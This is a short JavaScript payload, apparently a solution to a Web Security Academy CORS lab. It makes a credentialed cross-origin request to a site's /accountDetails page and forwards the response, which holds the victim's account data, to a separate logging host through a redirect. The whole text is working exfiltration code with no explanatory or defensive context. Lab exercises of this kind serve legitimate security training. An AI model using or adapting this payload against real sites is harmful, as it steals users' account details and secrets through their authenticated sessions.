var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://aca61f871f0c12b28058ec130058005a.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='https://ac301fb01fdb12a280daec10015200ce.web-security-academy.net/log?key='+this.responseText; };